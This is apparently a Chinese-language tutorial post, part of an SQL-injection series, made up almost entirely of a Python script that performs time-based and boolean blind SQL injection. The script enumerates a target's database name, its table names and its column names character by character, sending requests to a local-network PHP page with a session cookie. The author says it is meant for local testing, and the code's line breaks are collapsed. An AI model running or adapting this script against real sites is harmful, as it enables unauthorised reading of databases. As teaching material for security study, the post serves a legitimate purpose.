sql注入(7), python 实现盲注爆破数据库名, 表名, 列名

python 实现盲注

该python脚本根据之前介绍的盲注原理实现, 对于发送的注入请求没有做等待间隔, 可能给目标服务器造成一定 压力, 所以仅限于本地测试使用.

import requests, time# 时间型盲注
def time_blind(base_url, cookie):for length in range(1, 20): # 测试数据库名长度 1~19start = time.time()header = {"Cookie": cookie}url = f"{base_url} and if(length(database())={length}, sleep(3.5), 1)"_ = requests.get(url=url, headers=header)end = time.time()resptime = end-startif int(resptime) >= 3:print('数据库长度为:', length)breakelse:print(url)# 布尔型盲注爆列名
def bool_blind(base_url, cookie):chars = "abcdefghijklmnopqrstuvwxyz0123456789_,"session = requests.session()base_url = base_urlheader = {"Cookie": cookie}# 先定义猜对的时候的长度resp = session.get(url=base_url + " and 1=1", headers=header)base_len = len(resp.text)# 先获取数据库长度for db_len in range(1, 20):url = f"{base_url} and length(database())={db_len}"resp = session.get(url=url, headers=header)if len(resp.text) == base_len:breakprint(f"数据库长度：{db_len}")# 根据数据库长度猜名称db_name = ''for i in range(1, db_len+1):for c in chars:url = f"{base_url} and substr(database(), {i}, 1)='{c}'"resp = session.get(url=url, headers=header)if len(resp.text) == base_len:db_name += cbreakprint(f"数据库名：{db_name}")# 根据数据库名称猜表名table_name = ''for i in range(1, 40):for c in chars:sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'"url = f"{base_url} and substr(({sql}), {i}, 1)='{c}'"resp = session.get(url=url, headers=header)if len(resp.text) == base_len:table_name += cbreakprint(f"数据库中的表名：{table_name}")# 猜所有表的列名table_list = table_name.strip().split(',')for table in table_list:column_name = ''for i in range(100):for c in chars:sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}' and table_name='{table}'"url = f"{base_url} and substr(({sql}), {i}, 1)='{c}'"resp = session.get(url=url, headers=header)if len(resp.text) == base_len:column_name += cbreakprint(f"表{table}的列名：{column_name}")if __name__ == '__main__':url = "http://192.168.112.200/security/read.php?id=1"cookie = "PHPSESSID=b4d659be5e17d948fd8e18078003d3f6"time_blind(base_url=url, cookie=cookie)# bool_blind(base_url=url, cookie=cookie)